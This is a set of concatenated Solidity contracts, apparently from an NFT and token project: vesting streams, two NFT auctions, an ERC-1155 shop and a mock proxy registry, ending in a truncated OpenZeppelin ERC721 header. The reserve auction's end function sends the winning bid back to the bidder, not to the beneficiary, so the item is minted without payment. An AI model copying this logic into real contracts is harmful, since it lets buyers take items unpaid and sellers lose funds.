mapping(address => Claim) private claims;
/// An event for tracking the creation of a token vest claim.
event ClaimCreated(address creator, address beneficiary);
/// An event for tracking a user claiming some of their vested tokens.
event Claimed(address beneficiary, uint256 amount);
/**
Construct a new VestStream by providing it a token to disburse.
@param _token The token to vest to claimants in this contract.
*/
constructor(IERC20 _token) public {
token = _token;
uint256 MAX_INT = 2**256 - 1;
token.approve(address(this), MAX_INT);
}
/**
A function which allows the caller to retrieve information about a specific
claim via its beneficiary.
@param beneficiary the beneficiary to query claims for.
*/
function getClaim(address beneficiary) external view returns (Claim memory) {
require(beneficiary != address(0), "The zero address may not be a claim beneficiary.");
return claims[beneficiary];
}
/**
A function which allows the caller to retrieve information about a specific
claim's remaining claimable amount.
@param beneficiary the beneficiary to query claims for.
*/
function claimableAmount(address beneficiary) public view returns (uint256) {
Claim memory claim = claims[beneficiary];
// Early-out if the claim has not started yet.
if (claim.startTime == 0 || block.timestamp < claim.startTime) {
return 0;
}
// Calculate the current releasable token amount.
uint64 currentTimestamp = uint64(block.timestamp) > claim.endTime ? claim.endTime : uint64(block.timestamp);
uint256 claimPercent = currentTimestamp.sub(claim.startTime).mul(1e18).div(claim.endTime.sub(claim.startTime));
uint256 claimAmount = claim.totalAmount.mul(claimPercent).div(1e18);
// Reduce the unclaimed amount by the amount already claimed.
uint256 unclaimedAmount = claimAmount.sub(claim.amountClaimed);
return unclaimedAmount;
}
/**
Sweep all of a particular ERC-20 token from the contract.
@param _token The token to sweep the balance from.
*/
function sweep(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
_token.safeTransferFrom(address(this), msg.sender, balance);
}
/**
A function which allows the caller to create toke vesting claims for some
beneficiaries. The disbursement token will be taken from the claim creator.
@param _beneficiaries an array of addresses to construct token claims for.
@param _totalAmounts the total amount of tokens to be disbursed to each beneficiary.
@param _startTime a timestamp when this claim is to begin vesting.
@param _endTime a timestamp when this claim is to reach full maturity.
*/
function createClaim(address[] memory _beneficiaries, uint256[] memory _totalAmounts, uint64 _startTime, uint64 _endTime) external onlyOwner {
require(_beneficiaries.length > 0, "You must specify at least one beneficiary for a claim.");
require(_beneficiaries.length == _totalAmounts.length, "Beneficiaries and their amounts may not be mismatched.");
require(_endTime >= _startTime, "You may not create a claim which ends before it starts.");
// After validating the details for this token claim, initialize a claim for
// each specified beneficiary.
for (uint i = 0; i < _beneficiaries.length; i++) {
address _beneficiary = _beneficiaries[i];
uint256 _totalAmount = _totalAmounts[i];
require(_beneficiary != address(0), "The zero address may not be a beneficiary.");
require(_totalAmount > 0, "You may not create a zero-token claim.");
// Establish a claim for this particular beneficiary.
Claim memory claim = Claim({
totalAmount: _totalAmount,
startTime: _startTime,
endTime: _endTime,
lastClaimTime: _startTime,
amountClaimed: 0
});
claims[_beneficiary] = claim;
emit ClaimCreated(msg.sender, _beneficiary);
}
}
/**
A function which allows the caller to send a claim's unclaimed amount to the
beneficiary of the claim.
@param beneficiary the beneficiary to claim for.
*/
function claim(address beneficiary) external nonReentrant {
Claim memory _claim = claims[beneficiary];
// Verify that the claim is still active.
require(_claim.lastClaimTime < _claim.endTime, "This claim has already been completely claimed.");
// Calculate the current releasable token amount.
uint64 currentTimestamp = uint64(block.timestamp) > _claim.endTime ? _claim.endTime : uint64(block.timestamp);
uint256 claimPercent = currentTimestamp.sub(_claim.startTime).mul(1e18).div(_claim.endTime.sub(_claim.startTime));
uint256 claimAmount = _claim.totalAmount.mul(claimPercent).div(1e18);
// Reduce the unclaimed amount by the amount already claimed.
uint256 unclaimedAmount = claimAmount.sub(_claim.amountClaimed);
// Transfer the unclaimed tokens to the beneficiary.
token.safeTransferFrom(address(this), beneficiary, unclaimedAmount);
// Update the amount currently claimed by the user.
_claim.amountClaimed = claimAmount;
// Update the last time the claim was utilized.
_claim.lastClaimTime = currentTimestamp;
// Update the claim structure being tracked.
claims[beneficiary] = _claim;
// Emit an event for this token claim.
emit Claimed(beneficiary, unclaimedAmount);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title An OpenSea mock proxy contract which we use to test whitelisting.
@author OpenSea
*/
contract MockProxyRegistry is Ownable {
using SafeMath for uint256;
/// A mapping of testing proxies.
mapping(address => address) public proxies;
/**
Allow the registry owner to set a proxy on behalf of an address.
@param _address The address that the proxy will act on behalf of.
@param _proxyForAddress The proxy that will act on behalf of the address.
*/
function setProxy(address _address, address _proxyForAddress) external onlyOwner {
proxies[_address] = _proxyForAddress;
}
}
/// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Fee1155NFTLockable.sol";
/**
@title A simple NFT auction contract which sells a single item on reserve.
@author SuperFarm
This auction contract accepts on-chain bids before minting an NFT to the
winner.
*/
contract SuperAuctionReserve is Ownable, ReentrancyGuard {
using SafeMath for uint256;
/// The beneficiary of the auction sale.
address payable public beneficiary;
/// The original owner of the NFT contract.
address public originalOwner;
/// The item being auctioned.
Fee1155NFTLockable public item;
/// The group ID within the item collection being auctioned for.
uint256 public groupId;
/// The time at which the auction ends.
uint256 public auctionEndTime;
/// The buffer duration within which we extend auctions.
uint256 public bidBuffer;
/// The address of the current highest bidder.
address public highestBidder;
/// The current highest bid.
uint256 public highestBid;
/// The timestamp when the current highest bid was placed.
uint256 public highestBidTime;
/// The minimum price for the item sale.
uint256 public reservePrice;
/// A mapping of prior bids for users to withdraw.
mapping (address => uint256) public pendingReturns;
/// Whether or not the auction has ended.
bool public ended;
/// An event to track an increase of the current highest bid.
event HighestBidIncreased(address bidder, uint256 amount, uint256 timestamp);
/// An event to track the auction ending.
event AuctionEnded(address winner, uint256 amount, uint256 timestamp, bool success);
/// An event to track the original item contract owner clawing back ownership.
event OwnershipClawback();
/// @dev a modifier which allows only `originalOwner` to call a function.
modifier onlyOriginalOwner() {
require(originalOwner == _msgSender(),
"You are not the original owner of this contract.");
_;
}
/**
Construct a new auction by providing it with a beneficiary, NFT item, item
group ID, and bidding time.
@param _beneficiary An address for the auction beneficiary to receive funds.
@param _item The Fee1155NFTLockable contract for the NFT collection being
bid on.
@param _groupId The group ID of the winning item within the NFT collection
specified in `_item`.
@param _duration The duration of the auction in seconds.
@param _bidBuffer The buffer time at which a bid will extend the auction.
@param _reservePrice The reserve price for the bid.
*/
constructor(address payable _beneficiary, Fee1155NFTLockable _item, uint256 _groupId, uint256 _duration, uint256 _bidBuffer, uint256 _reservePrice) public {
beneficiary = _beneficiary;
originalOwner = _item.owner();
item = _item;
groupId = _groupId;
auctionEndTime = block.timestamp + _duration;
bidBuffer = _bidBuffer;
reservePrice = _reservePrice;
}
/**
Bid on the auction with the value sent together with this transaction. The
value will only be refunded if the auction is not won.
*/
function bid() public payable nonReentrant {
require(block.timestamp <= auctionEndTime, "Auction already ended.");
require(msg.value > highestBid, "There already is a higher bid.");
// Extend the auction if a bid comes in within the ending buffer.
uint256 timeRemaining = auctionEndTime.sub(block.timestamp);
if (timeRemaining < bidBuffer) {
auctionEndTime = auctionEndTime.add(bidBuffer);
}
if (highestBid != 0) {
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
highestBidTime = block.timestamp;
emit HighestBidIncreased(msg.sender, msg.value, block.timestamp);
}
/**
Withdraw a bid that was defeated.
*/
function withdraw() public nonReentrant returns (bool) {
uint256 amount = pendingReturns[msg.sender];
if (amount > 0) {
pendingReturns[msg.sender] = 0;
(bool withdrawSuccess, ) = payable(msg.sender).call{ value: amount }("");
if (!withdrawSuccess) {
pendingReturns[msg.sender] = amount;
return false;
}
}
return true;
}
/**
End the auction. Send the highest bid to the beneficiary and mint the winner
an NFT item. If the reserve price was not met, return the highest bid.
*/
function auctionEnd() public nonReentrant {
require(block.timestamp >= auctionEndTime, "Auction not yet ended.");
require(!ended, "The auction has already ended.");
ended = true;
// If the reserve price is not met, return the highest bid.
if (reservePrice >= highestBid) {
(bool bidderReturnSuccess, ) = payable(highestBidder).call{ value: highestBid }("");
// The auction ended in failure.
emit AuctionEnded(highestBidder, highestBid, block.timestamp, false);
// Otherwise, take the highest bid and mint the item.
} else {
(bool beneficiarySendSuccess, ) = payable(highestBidder).call{ value: highestBid }("");
// Mint the items.
uint256[] memory itemIds = new uint256[](1);
uint256[] memory amounts = new uint256[](1);
uint256 shiftedGroupId = groupId << 128;
uint256 itemId = shiftedGroupId.add(1);
itemIds[0] = itemId;
amounts[0] = 1;
item.createNFT(highestBidder, itemIds, amounts, "");
// The auction ended in a sale.
emit AuctionEnded(highestBidder, highestBid, block.timestamp, true);
}
}
/**
A function which allows the original owner of the item contract to revoke
ownership from the launchpad.
*/
function ownershipClawback() external onlyOriginalOwner {
item.transferOwnership(originalOwner);
// Emit an event that the original owner of the item contract has clawed the contract back.
emit OwnershipClawback();
}
}
/// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Fee1155NFTLockable.sol";
/**
@title A simple NFT auction contract which sells a single item for an owner to
accept or decline via highest bid offer.
@author SuperFarm
This auction contract accepts on-chain bids before minting an NFT to the
winner.
*/
contract SuperAuctionAccept is Ownable, ReentrancyGuard {
using SafeMath for uint256;
/// The beneficiary of the auction sale.
address payable public beneficiary;
/// The original owner of the NFT contract.
address public originalOwner;
/// The item being auctioned.
Fee1155NFTLockable public item;
/// The group ID within the item collection being auctioned for.
uint256 public groupId;
/// The time at which the auction ends.
uint256 public auctionEndTime;
/// The buffer duration within which we extend auctions.
uint256 public bidBuffer;
/// The buffer duration required to return the highest bid if no action taken.
uint256 public receiptBuffer;
/// The address of the current highest bidder.
address public highestBidder;
/// The current highest bid.
uint256 public highestBid;
/// The timestamp when the current highest bid was placed.
uint256 public highestBidTime;
/// The minimum bid allowed
uint256 public minimumBid;
/// Whether or not the auction has ended.
bool public ended;
/// An event to track an increase of the current highest bid.
event HighestBidIncreased(address bidder, uint256 amount, uint256 timestamp);
/// An event to track the auction ending.
event AuctionEnded(address winner, uint256 amount, uint256 timestamp, bool success);
/// An event to track the auction expiring.
event AuctionExpired(address winner, uint256 amount, uint256 timestamp);
/// An event to track the original item contract owner clawing back ownership.
event OwnershipClawback();
/// @dev a modifier which allows only `originalOwner` to call a function.
modifier onlyOriginalOwner() {
require(originalOwner == _msgSender(),
"You are not the original owner of this contract.");
_;
}
/**
Construct a new auction by providing it with a beneficiary, NFT item, item
group ID, and bidding time.
@param _beneficiary An address for the auction beneficiary to receive funds.
@param _item The Fee1155NFTLockable contract for the NFT collection being
bid on.
@param _groupId The group ID of the winning item within the NFT collection
specified in `_item`.
@param _duration The duration of the auction in seconds.
@param _bidBuffer The buffer time at which a bid will extend the auction.
@param _receiptBuffer The buffer time which the auction owner has to accept.
@param _minimumBid The lowest starting bid for the auctioned item.
*/
constructor(address payable _beneficiary, Fee1155NFTLockable _item, uint256 _groupId, uint256 _duration, uint256 _bidBuffer, uint256 _receiptBuffer, uint256 _minimumBid) public {
beneficiary = _beneficiary;
originalOwner = _item.owner();
item = _item;
groupId = _groupId;
auctionEndTime = block.timestamp + _duration;
bidBuffer = _bidBuffer;
receiptBuffer = _receiptBuffer;
minimumBid = _minimumBid;
}
/**
Bid on the auction with the value sent together with this transaction. The
value will only be refunded if the auction is not won.
*/
function bid() public payable nonReentrant {
require(block.timestamp <= auctionEndTime, "Auction already ended.");
require(msg.value > highestBid, "There already is a higher bid.");
require(msg.value >= minimumBid, "Minimum bid amount not met.");
// Extend the auction if a bid comes in within the ending buffer.
uint256 timeRemaining = auctionEndTime.sub(block.timestamp);
if (timeRemaining < bidBuffer) {
auctionEndTime = auctionEndTime.add(bidBuffer);
}
// The previous highest bidder has been outbid. Return their bid.
/// @dev We are intentionally not validating success on this payment call
/// in order to prevent a potential attacker from halting the auction.
if (highestBid != 0) {
payable(highestBidder).call{ value: highestBid }("");
}
// Update the highest bidder.
highestBidder = msg.sender;
highestBid = msg.value;
highestBidTime = block.timestamp;
emit HighestBidIncreased(msg.sender, msg.value, block.timestamp);
}
/**
Accept the auction results. Send the highest bid to the beneficiary and mint
the winner an NFT item.
*/
function accept() public nonReentrant onlyOwner {
require(block.timestamp >= auctionEndTime, "Auction not yet ended.");
require(!ended, "The auction has already ended.");
ended = true;
// Take the highest bid (and any potential attacker dust) and mint the item.
(bool success, ) = beneficiary.call{ value: address(this).balance }("");
require(success, "The beneficiary is unable to receive the bid.");
// Mint the item.
uint256[] memory itemIds = new uint256[](1);
uint256[] memory amounts = new uint256[](1);
uint256 shiftedGroupId = groupId << 128;
uint256 itemId = shiftedGroupId.add(1);
itemIds[0] = itemId;
amounts[0] = 1;
item.createNFT(highestBidder, itemIds, amounts, "");
// The auction ended in a sale.
emit AuctionEnded(highestBidder, highestBid, block.timestamp, true);
}
/**
Decline the auction results and return the highest bid.
*/
function decline() public nonReentrant onlyOwner {
require(block.timestamp >= auctionEndTime, "Auction not yet ended.");
require(!ended, "The auction has already ended.");
ended = true;
// Return the highest bidder their bid, plus any attacker dust.
(bool bidderReturnSuccess, ) = payable(highestBidder).call{ value: address(this).balance }("");
// If the highest bidder is unable to receive their bid, send it to the
// auction beneficiary to rescue.
if (!bidderReturnSuccess) {
(bool beneficiaryRescueSuccess, ) = beneficiary.call{ value: address(this).balance }("");
require(beneficiaryRescueSuccess, "The beneficiary is unable to rescue the bid.");
}
// The auction ended in failure.
emit AuctionEnded(highestBidder, highestBid, block.timestamp, false);
}
/*
The auction owner has not taken action to conclude the auction. After a set
timeout period we allow anyone to conclude the auction.
*/
function returnHighestBid() public nonReentrant {
require(block.timestamp >= auctionEndTime.add(receiptBuffer), "Auction not yet expired.");
require(!ended, "The auction has already ended.");
ended = true;
// Return the highest bidder their bid and any potential attacker dust.
(bool bidderReturnSuccess, ) = payable(highestBidder).call{ value: address(this).balance }("");
// If the highest bidder is unable to receive their bid, send it to the
// auction beneficiary.
if (!bidderReturnSuccess) {
(bool beneficiaryRescueSuccess, ) = beneficiary.call{ value: address(this).balance }("");
require(beneficiaryRescueSuccess, "The beneficiary is unable to rescue the bid.");
}
// The auction expired.
emit AuctionExpired(highestBidder, highestBid, block.timestamp);
}
/**
A function which allows the original owner of the item contract to revoke
ownership from the launchpad.
*/
function ownershipClawback() external onlyOriginalOwner {
item.transferOwnership(originalOwner);
// Emit an event that the original owner of the item contract has clawed the contract back.
emit OwnershipClawback();
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
/**
@title A simple Shop contract for selling ERC-1155s for Ether via direct
minting.
@author Tim Clancy
This contract is a limited subset of the Shop1155 contract designed to mint
items directly to the user upon purchase.
*/
contract ShopEtherMinter1155 is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 1;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A user-specified Fee1155 contract to support selling items from.
Fee1155 public item;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// The Shop's inventory of item groups for sale.
uint256[] public inventory;
/// The Shop's price for each item group.
mapping (uint256 => uint256) public prices;
/**
Construct a new Shop by providing it a FeeOwner.
@param _item The address of the Fee1155 item that will be minting sales.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
*/
constructor(Fee1155 _item, FeeOwner _feeOwner) public {
item = _item;
feeOwner = _feeOwner;
}
/**
Returns the length of the inventory array.
@return the length of the inventory array.
*/
function getInventoryCount() external view returns (uint256) {
return inventory.length;
}
/**
Allows the Shop owner to list a new set of NFT items for sale.
@param _groupIds The item group IDs to list for sale in this shop.
@param _prices The corresponding purchase price to mint an item of each group.
*/
function listItems(uint256[] calldata _groupIds, uint256[] calldata _prices) external onlyOwner {
require(_groupIds.length > 0,
"You must list at least one item.");
require(_groupIds.length == _prices.length,
"Items length cannot be mismatched with prices length.");
// Iterate through every specified item group to list items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
uint256 price = _prices[i];
inventory.push(groupId);
prices[groupId] = price;
}
}
/**
Allows the Shop owner to remove items from sale.
@param _groupIds The group IDs currently listed in the shop to take off sale.
*/
function removeItems(uint256[] calldata _groupIds) external onlyOwner {
require(_groupIds.length > 0,
"You must remove at least one item.");
// Iterate through every specified item group to remove items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
prices[groupId] = 0;
}
}
/**
Allows any user to purchase items from this Shop. Users supply specfic item
IDs within the groups listed for sale and supply the corresponding amount of
Ether to cover the purchase prices.
@param _itemIds The specific item IDs to purchase from this shop.
*/
function purchaseItems(uint256[] calldata _itemIds) public nonReentrant payable {
require(_itemIds.length > 0,
"You must purchase at least one item.");
// Iterate through every specified item to list items.
uint256 feePercent = feeOwner.fee();
uint256 itemRoyaltyPercent = item.feeOwner().fee();
for (uint256 i = 0; i < _itemIds.length; i++) {
uint256 itemId = _itemIds[i];
uint256 groupId = itemId & GROUP_MASK;
uint256 price = prices[groupId];
require(price > 0,
"You cannot purchase an item that is not listed.");
// Split fees for this purchase.
uint256 feeValue = price.mul(feePercent).div(100000);
uint256 royaltyValue = price.mul(itemRoyaltyPercent).div(100000);
(bool success, ) = payable(feeOwner.owner()).call{ value: feeValue }("");
require(success, "Platform fee transfer failed.");
(success, ) = payable(item.feeOwner().owner()).call{ value: royaltyValue }("");
require(success, "Creator royalty transfer failed.");
(success, ) = payable(owner()).call{ value: price.sub(feeValue).sub(royaltyValue) }("");
require(success, "Shop owner transfer failed.");
// Mint the item.
item.mint(msg.sender, itemId, 1, "");
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// TRUFFLE
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperVestCliff {
using SafeMath for uint256;
using Address for address;
address public tokenAddress;
event Claimed(
address owner,
address beneficiary,
uint256 amount,
uint256 index
);
event ClaimCreated(address owner, address beneficiary, uint256 index);
struct Claim {
address owner;
address beneficiary;
uint256[] timePeriods;
uint256[] tokenAmounts;
uint256 totalAmount;
uint256 amountClaimed;
uint256 periodsClaimed;
}
Claim[] private claims;
mapping(address => uint256[]) private _ownerClaims;
mapping(address => uint256[]) private _beneficiaryClaims;
constructor(address _tokenAddress) public {
tokenAddress = _tokenAddress;
}
/**
* Get Owner Claims
*
* @param owner - Claim Owner Address
*/
function ownerClaims(address owner)
external
view
returns (uint256[] memory)
{
require(owner != address(0), "Owner address cannot be 0");
return _ownerClaims[owner];
}
/**
* Get Beneficiary Claims
*
* @param beneficiary - Claim Owner Address
*/
function beneficiaryClaims(address beneficiary)
external
view
returns (uint256[] memory)
{
require(beneficiary != address(0), "Beneficiary address cannot be 0");
return _beneficiaryClaims[beneficiary];
}
/**
* Get Amount Claimed
*
* @param index - Claim Index
*/
function claimed(uint256 index) external view returns (uint256) {
return claims[index].amountClaimed;
}
/**
* Get Total Claim Amount
*
* @param index - Claim Index
*/
function totalAmount(uint256 index) external view returns (uint256) {
return claims[index].totalAmount;
}
/**
* Get Time Periods of Claim
*
* @param index - Claim Index
*/
function timePeriods(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].timePeriods;
}
/**
* Get Token Amounts of Claim
*
* @param index - Claim Index
*/
function tokenAmounts(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].tokenAmounts;
}
/**
* Create a Claim - To Vest Tokens to Beneficiary
*
* @param _beneficiary - Tokens will be claimed by _beneficiary
* @param _timePeriods - uint256 Array of Epochs
* @param _tokenAmounts - uin256 Array of Amounts to transfer at each time period
*/
function createClaim(
address _beneficiary,
uint256[] memory _timePeriods,
uint256[] memory _tokenAmounts
) public returns (bool) {
require(
_timePeriods.length == _tokenAmounts.length,
"_timePeriods & _tokenAmounts length mismatch"
);
require(tokenAddress.isContract(), "Invalid tokenAddress");
require(_beneficiary != address(0), "Cannot Vest to address 0");
// Calculate total amount
uint256 _totalAmount = 0;
for (uint256 i = 0; i < _tokenAmounts.length; i++) {
_totalAmount = _totalAmount.add(_tokenAmounts[i]);
}
require(_totalAmount > 0, "Provide Token Amounts to Vest");
require(
ERC20(tokenAddress).allowance(msg.sender, address(this)) >=
_totalAmount,
"Provide token allowance to SuperVestCliff contract"
);
// Transfer Tokens to SuperStreamClaim
ERC20(tokenAddress).transferFrom(
msg.sender,
address(this),
_totalAmount
);
// Create Claim
Claim memory claim =
Claim({
owner: msg.sender,
beneficiary: _beneficiary,
timePeriods: _timePeriods,
tokenAmounts: _tokenAmounts,
totalAmount: _totalAmount,
amountClaimed: 0,
periodsClaimed: 0
});
claims.push(claim);
uint256 index = claims.length - 1;
// Map Claim Index to Owner & Beneficiary
_ownerClaims[msg.sender].push(index);
_beneficiaryClaims[_beneficiary].push(index);
emit ClaimCreated(msg.sender, _beneficiary, index);
return true;
}
/**
* Claim Tokens
*
* @param index - Index of the Claim
*/
function claim(uint256 index) external {
Claim storage claim = claims[index];
// Check if msg.sender is the beneficiary
require(
claim.beneficiary == msg.sender,
"Only beneficiary can claim tokens"
);
// Check if anything is left to release
require(
claim.periodsClaimed < claim.timePeriods.length,
"Nothing to release"
);
// Calculate releasable amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
claim.periodsClaimed = claim.periodsClaimed.add(1);
} else {
break;
}
}
// If there is any amount to release
require(amount > 0, "Nothing to release");
// Transfer Tokens from Owner to Beneficiary
ERC20(tokenAddress).transfer(claim.beneficiary, amount);
claim.amountClaimed = claim.amountClaimed.add(amount);
emit Claimed(claim.owner, claim.beneficiary, amount, index);
}
/**
* Get Amount of tokens that can be claimed
*
* @param index - Index of the Claim
*/
function claimableAmount(uint256 index) public view returns (uint256) {
Claim storage claim = claims[index];
// Calculate Claimable Amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
} else {
break;
}
}
return amount;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// TRUFFLE
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperNFTVestStream {
using SafeMath for uint256;
using Address for address;
address public tokenAddress;
address public nftAddress;
event Claimed(
address owner,
uint256 nftId,
address beneficiary,
uint256 amount,
uint256 index
);
event ClaimCreated(
address owner,
uint256 nftId,
uint256 totalAmount,
uint256 index
);
struct Claim {
address owner;
uint256 nftId;
uint256[] timePeriods;
uint256[] tokenAmounts;
uint256 totalAmount;
uint256 amountClaimed;
uint256 periodsClaimed;
}
Claim[] private claims;
struct StreamInfo {
uint256 startTime;
bool notOverflow;
uint256 startDiff;
uint256 diff;
uint256 amountPerBlock;
uint256[] _timePeriods;
uint256[] _tokenAmounts;
}
mapping(address => uint256[]) private _ownerClaims;
mapping(uint256 => uint256[]) private _nftClaims;
constructor(address _tokenAddress, address _nftAddress) public {
require(
_tokenAddress.isContract(),
"_tokenAddress must be a contract address"
);
require(
_nftAddress.isContract(),
"_nftAddress must be a contract address"
);
tokenAddress = _tokenAddress;
nftAddress = _nftAddress;
}
/**
* Get Owner Claims
*
* @param owner - Claim Owner Address
*/
function ownerClaims(address owner)
external
view
returns (uint256[] memory)
{
require(owner != address(0), "Owner address cannot be 0");
return _ownerClaims[owner];
}
/**
* Get NFT Claims
*
* @param nftId - NFT ID
*/
function nftClaims(uint256 nftId) external view returns (uint256[] memory) {
require(nftId != 0, "nftId cannot be 0");
return _nftClaims[nftId];
}
/**
* Get Amount Claimed
*
* @param index - Claim Index
*/
function claimed(uint256 index) external view returns (uint256) {
return claims[index].amountClaimed;
}
/**
* Get Total Claim Amount
*
* @param index - Claim Index
*/
function totalAmount(uint256 index) external view returns (uint256) {
return claims[index].totalAmount;
}
/**
* Get Time Periods of Claim
*
* @param index - Claim Index
*/
function timePeriods(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].timePeriods;
}
/**
* Get Token Amounts of Claim
*
* @param index - Claim Index
*/
function tokenAmounts(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].tokenAmounts;
}
/**
* Create a Claim - To Vest Tokens to NFT
*
* @param _nftId - Tokens will be claimed by owner of _nftId
* @param _startBlock - Block Number to start vesting from
* @param _stopBlock - Block Number to end vesting at (Release all tokens)
* @param _totalAmount - Total Amount to be Vested
* @param _blockTime - Block Time (used for predicting _timePeriods)
*/
function createClaim(
uint256 _nftId,
uint256 _startBlock,
uint256 _stopBlock,
uint256 _totalAmount,
uint256 _blockTime
) external returns (bool) {
require(_nftId != 0, "Cannot Vest to NFT 0");
require(
_stopBlock > _startBlock,
"_stopBlock must be greater than _startBlock"
);
require(tokenAddress.isContract(), "Invalid tokenAddress");
require(_totalAmount > 0, "Provide Token Amounts to Vest");
require(
ERC20(tokenAddress).allowance(msg.sender, address(this)) >=
_totalAmount,
"Provide token allowance to SuperNFTVestStream contract"
);
// Calculate estimated epoch for _startBlock
StreamInfo memory streamInfo =
StreamInfo(0, false, 0, 0, 0, new uint256[](0), new uint256[](0));
(streamInfo.notOverflow, streamInfo.startDiff) = _startBlock.trySub(
block.number
);
if (streamInfo.notOverflow) {
// If Not Overflow
streamInfo.startTime = block.timestamp.add(
_blockTime.mul(streamInfo.startDiff)
);
} else {
// If Overflow
streamInfo.startDiff = block.number.sub(_startBlock);
streamInfo.startTime = block.timestamp.sub(
_blockTime.mul(streamInfo.startDiff)
);
}
// Calculate _timePeriods & _tokenAmounts
streamInfo.diff = _stopBlock.sub(_startBlock);
streamInfo.amountPerBlock = _totalAmount.div(streamInfo.diff);
streamInfo._timePeriods = new uint256[](streamInfo.diff);
streamInfo._tokenAmounts = new uint256[](streamInfo.diff);
streamInfo._timePeriods[0] = streamInfo.startTime;
streamInfo._tokenAmounts[0] = streamInfo.amountPerBlock;
for (uint256 i = 1; i < streamInfo.diff; i++) {
streamInfo._timePeriods[i] = streamInfo._timePeriods[i - 1].add(
_blockTime
);
streamInfo._tokenAmounts[i] = streamInfo.amountPerBlock;
}
// Transfer Tokens to SuperVestStream
ERC20(tokenAddress).transferFrom(
msg.sender,
address(this),
_totalAmount
);
// Create Claim
Claim memory claim =
Claim({
owner: msg.sender,
nftId: _nftId,
timePeriods: streamInfo._timePeriods,
tokenAmounts: streamInfo._tokenAmounts,
totalAmount: _totalAmount,
amountClaimed: 0,
periodsClaimed: 0
});
claims.push(claim);
uint256 index = claims.length - 1;
// Map Claim Index to Owner & Beneficiary
_ownerClaims[msg.sender].push(index);
_nftClaims[_nftId].push(index);
emit ClaimCreated(msg.sender, _nftId, _totalAmount, index);
return true;
}
/**
* Claim Tokens
*
* @param index - Index of the Claim
*/
function claim(uint256 index) external {
Claim storage claim = claims[index];
// Check if msg.sender is the owner of the NFT
require(
msg.sender == ERC721(nftAddress).ownerOf(claim.nftId),
"msg.sender must own the NFT"
);
// Check if anything is left to release
require(
claim.periodsClaimed < claim.timePeriods.length,
"Nothing to release"
);
// Calculate releasable amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
claim.periodsClaimed = claim.periodsClaimed.add(1);
} else {
break;
}
}
// If there is any amount to release
require(amount > 0, "Nothing to release");
// Transfer Tokens from Owner to Beneficiary
ERC20(tokenAddress).transfer(msg.sender, amount);
claim.amountClaimed = claim.amountClaimed.add(amount);
emit Claimed(claim.owner, claim.nftId, msg.sender, amount, index);
}
/**
* Get Amount of tokens that can be claimed
*
* @param index - Index of the Claim
*/
function claimableAmount(uint256 index) public view returns (uint256) {
Claim storage claim = claims[index];
// Calculate Claimable Amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
} else {
break;
}
}
return amount;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC721.sol";
import "./IERC721Metadata.sol";
import "./IERC721Enumerable.sol";
import "./IERC721Receiver.sol";
import "../../introspection/ERC165.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../utils/EnumerableSet.sol";
import "../../utils/EnumerableMap.sol";
import "../../utils/Strings.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
